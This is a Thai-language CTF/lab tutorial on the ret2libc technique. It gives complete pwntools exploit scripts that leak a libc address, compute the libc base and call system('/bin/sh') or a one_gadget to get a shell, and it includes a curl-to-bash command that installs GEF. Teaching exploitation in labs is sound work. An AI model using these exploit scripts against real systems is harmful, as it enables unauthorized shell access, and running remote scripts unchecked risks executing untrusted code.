คลัง
pwn

ret2libc

ret2libc เป็นเทคนิค bypass NX ที่กระโดดไปเรียกฟังก์ชันใน libc (โดยเฉพาะ system("/bin/sh")) ซึ่งรันได้อยู่แล้ว เป็นกรณีเฉพาะที่นิยมที่สุดของ ROP บทนี้ลงลึก workflow ครบทั้งกรณีไม่มี/มี ASLR, การ leak + คำนวณ, one_gadget, execve via syscall และ troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#ret2libc#pwn#libc#system#nx-bypass#one-gadget#ctf

1. หลักการ

libc ถูก link มากับเกือบทุกโปรแกรม และมี system(), execve() รวมถึง string "/bin/sh" อยู่แล้ว ret2libc คือ overwrite return address ให้กระโดดไปเรียก system("/bin/sh") โดยจัด argument ผ่าน register (x64: RDI) — ได้ shell โดยไม่ต้องรันโค้ดใหม่ ผ่าน NX เพราะ libc อยู่ใน page ที่ execute ได้

เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) เท่านั้น

2. กรณีไม่มี ASLR (พื้นฐาน)

ถ้า ASLR ปิด (หรือโจทย์ให้ libc base คงที่) address ของ system/"/bin/sh" คงที่ — ทำได้ในขั้นเดียว

ret2libc ขั้นเดียว (No ASLR)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

offset = 72
pop_rdi = 0x4011d3                   # ROPgadget --binary ./vuln | grep 'pop rdi'
ret = 0x40101a

# No ASLR → libc.address คงที่ (ดูจาก vmmap/ldd)
libc.address = 0x7ffff7dc0000
system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))

payload  = b'A'*offset
payload += p64(pop_rdi) + p64(binsh) # rdi = "/bin/sh"
payload += p64(ret)                  # align
payload += p64(system)               # system("/bin/sh")
p.sendline(payload); p.interactive()
หา pop rdi ในตัว binary ก่อน; ถ้าไม่มีใช้จาก libc; ret align กัน movaps crash

3. กรณีมี ASLR — leak ก่อน (2 ขั้น)

ASLR เปิด (ปกติ) → libc base สุ่มทุก run ต้อง leak address จริงใน libc ก่อน แล้วค่อยคำนวณ (ดูหัวข้อ ASLR ประกอบ) workflow คลาสสิก: ROP รอบแรก leak puts@got → กลับ main → ROP รอบสอง system

ret2libc 2 ขั้น (leak → exploit)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
offset = 72

# ---- ขั้น 1: leak puts@got ผ่าน ROP เรียก puts(puts@got) ----
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')                     # กลับมาส่ง payload รอบสอง
p.sendlineafter(b'> ', b'A'*offset + rop.chain())

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']   # คำนวณ base
log.success(f"libc base: {hex(libc.address)}")

# ---- ขั้น 2: system("/bin/sh") ด้วย address จริง ----
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])
p.sendlineafter(b'> ', b'A'*offset + rop2.chain())
p.interactive()
ขั้น 1 leak เพื่อ bypass ASLR; ต้อง return กลับจุดที่รับ input ได้ (main/loop) เพื่อส่งรอบสอง

4. หาเวอร์ชัน libc (remote ไม่ให้ libc)

โจทย์ remote มักไม่ให้ไฟล์ libc — แต่ offset ต่างกันทุกเวอร์ชัน ต้องระบุเวอร์ชันจาก leaked address (เลขท้าย 3 หลักคงที่)

libc-database / libc.ripLinux
# leak address 1-2 ฟังก์ชัน แล้วค้นเวอร์ชัน
# เว็บ: libc.rip / libc.blukat.me — ใส่ symbol + เลขท้าย 3 หลัก

# local libc-database
./find puts 0x...e50 printf 0x...710
# ได้ชื่อ libc → download → ./dump ดู offset

# pwntools auto (จาก leak)
from pwn import *
libc = ELF('libc6_2.31-0ubuntu9_amd64.so')   # ที่ค้นเจอ
# แล้วทำ ret2libc ตามปกติ
leak 2 ฟังก์ชันช่วยระบุเวอร์ชันแม่นกว่า 1; ดูหัวข้อ ASLR สำหรับรายละเอียด libc-database

5. ทางเลือกเมื่อ system ใช้ยาก

วิธีเมื่อไหร่หมายเหตุ
one_gadgetจัด arg ยาก/register ไม่เอื้อ1 address = execve(/bin/sh)
execve via syscallsystem ถูก seccomp block บางส่วนROP จัด rax=59,rdi,rsi,rdx
__libc_systemsystem symbol ถูกซ่อนหา offset เอง
ROP เขียน /bin/sh ลง bssไม่มี "/bin/sh" ใน libc/binaryread/gets เขียนก่อน
one_gadget — ลัดLinux
# หา one_gadget offset
# $ one_gadget ./libc.so.6  → เช่น 0xe3afe (execve /bin/sh)
from pwn import *
libc.address = leak - libc.symbols['puts']
og = libc.address + 0xe3afe          # one_gadget offset
payload = b'A'*offset + p64(og)      # กระโดดไป one_gadget เลย
# ลองหลายตัวจน constraint ([rsp+x]==NULL) ตรง
one_gadget ง่ายกว่าเมื่อ register state ไม่เอื้อจัด arg ให้ system; ลองหลายตัวจน constraint ตรง

6. Troubleshooting

  • crash ใน do_system/movaps: stack ไม่ align → เติม ret เปล่าก่อน system
  • leak ได้ค่าแปลก: ตรวจว่า recv ตรงบรรทัด (sendlineafter prompt ให้ถูก)
  • offset libc ผิด: เวอร์ชัน libc ไม่ตรง → ระบุใหม่จาก leak (section 4)
  • system ไม่เปิด shell: ลอง one_gadget หรือ execve syscall
  • ทำงาน local แต่ fail remote: libc remote คนละเวอร์ชัน — ใช้ libc ที่ระบุได้
  • ไม่มี pop rdi: หาใน libc (มีเยอะ) หรือ ret2csu

7. Quick Reference

  • กระโดดไป system("/bin/sh") ใน libc → bypass NX
  • No ASLR: ขั้นเดียว (pop rdi; binsh; ret; system)
  • ASLR: leak puts@got → libc.address = leak - libc.sym['puts'] → system รอบสอง
  • remote ไม่ให้ libc → libc.rip/libc-database จาก leak
  • ทางเลือก: one_gadget (1 address), execve syscall
  • crash movaps → เติม ret; pop rdi หาใน libc ได้

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ checksec บอกว่า NX เปิด และไม่มีฟังก์ชัน win ให้ใช้ — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อไปให้ถึง system("/bin/sh")

  1. 1เช็ค ASLR ของเครื่อง (lab เท่านั้น): cat /proc/sys/kernel/randomize_va_space และดู checksec ว่า PIE เปิดไหม
  2. 2ถ้า No ASLR/libc base คงที่ ดู base จาก gdb: gef> vmmap แล้วคำนวณ system/"/bin/sh" ตรงๆ
  3. 3ถ้ามี ASLR ต้อง leak ก่อน: สร้าง ROP รอบแรกเรียก puts(puts@got) แล้ว rop.call('main') กลับมารับ input รอบสอง
  4. 4รับค่า leak: leak = u64(p.recvline().strip().ljust(8, b'\\x00'))
  5. 5หาเวอร์ชัน libc จาก leak: ไปเว็บ libc.rip หรือ libc.blukat.me ใส่ชื่อ symbol + เลขท้าย 3 หลักของ address
  6. 6โหลด libc เวอร์ชันที่ match มาใช้: libc = ELF('libc6_x.xx.so')
  7. 7คำนวณ base จริง: libc.address = leak - libc.symbols['puts']
  8. 8สร้าง ROP รอบสอง: rop2 = ROP(libc); rop2.call('system', [next(libc.search(b'/bin/sh'))])
  9. 9ถ้า crash ที่ movaps/do_system ให้เติม ret gadget เปล่าก่อน system
  10. 10ถ้าจัด argument ยาก ลอง one_gadget แทน: one_gadget ./libc.so.6 แล้วลองทีละตัวจน constraint ตรง
จับมือทำ: ret2libc จนได้ shell
ASLR/PIE เปิดไหม
❌ ปิด/libc base คงที่→ ทำ ret2libc ขั้นเดียวได้เลย
✅ เปิด→ ต้อง leak libc base ก่อน
จัด pop rdi = binsh แล้วเรียก system
✅ ได้ shell→ จบ ยิง remote ได้เลย
❌ crash movaps→ เติม ret gadget align
ROP รอบแรก: puts(puts@got) แล้วกลับ main
✅ ได้ address จริงของ puts→ ระบุเวอร์ชัน libc
❌ ไม่กลับมารับ input รอบสองได้→ ตรวจว่ามีจุดวนกลับ (main/loop) ให้ยิงซ้ำไหม
หาเวอร์ชัน libc จาก leak (libc.rip / libc-database)
✅ เจอเวอร์ชันตรง→ คำนวณ base แล้วเรียก system รอบสอง
❌ หาเวอร์ชันไม่เจอ/ไม่ชัวร์→ ลอง one_gadget แบบ brute หรือดู remote ให้ libc มาไหม
libc.address = leak - offset → system(binsh)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
leak/สร้าง ROPpwntoolspip install pwntools-
หา gadgetROPgadget / ropperpip install ropperropshell.com
ระบุเวอร์ชัน libc จาก leaklibc-database (git clone)git clone niklasb/libc-databaselibc.rip, libc.blukat.me
หา one_gadgetone_gadget (gem)gem install one_gadget-
debug ยืนยัน base/offsetgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
เปลี่ยน interpreter/libc ของ binarypatchelfapt install patchelf-
ดูโครงสร้าง libc เพิ่มreadelf / objdump-dogbolt.org
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) aslr — อ่านลึกเรื่อง leak/คำนวณ base และ one_gadget (2) rop — ถ้าต้องจัด argument หลายตัวก่อนเรียก system (3) got-overwrite — ถ้า RELRO เป็น Partial และอยากเปลี่ยนปลายทางฟังก์ชันแทนแค่กระโดดครั้งเดียว (4) format-string — ถ้ามีช่องโหว่ printf ที่ leak/write ได้ง่ายกว่า ROP

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้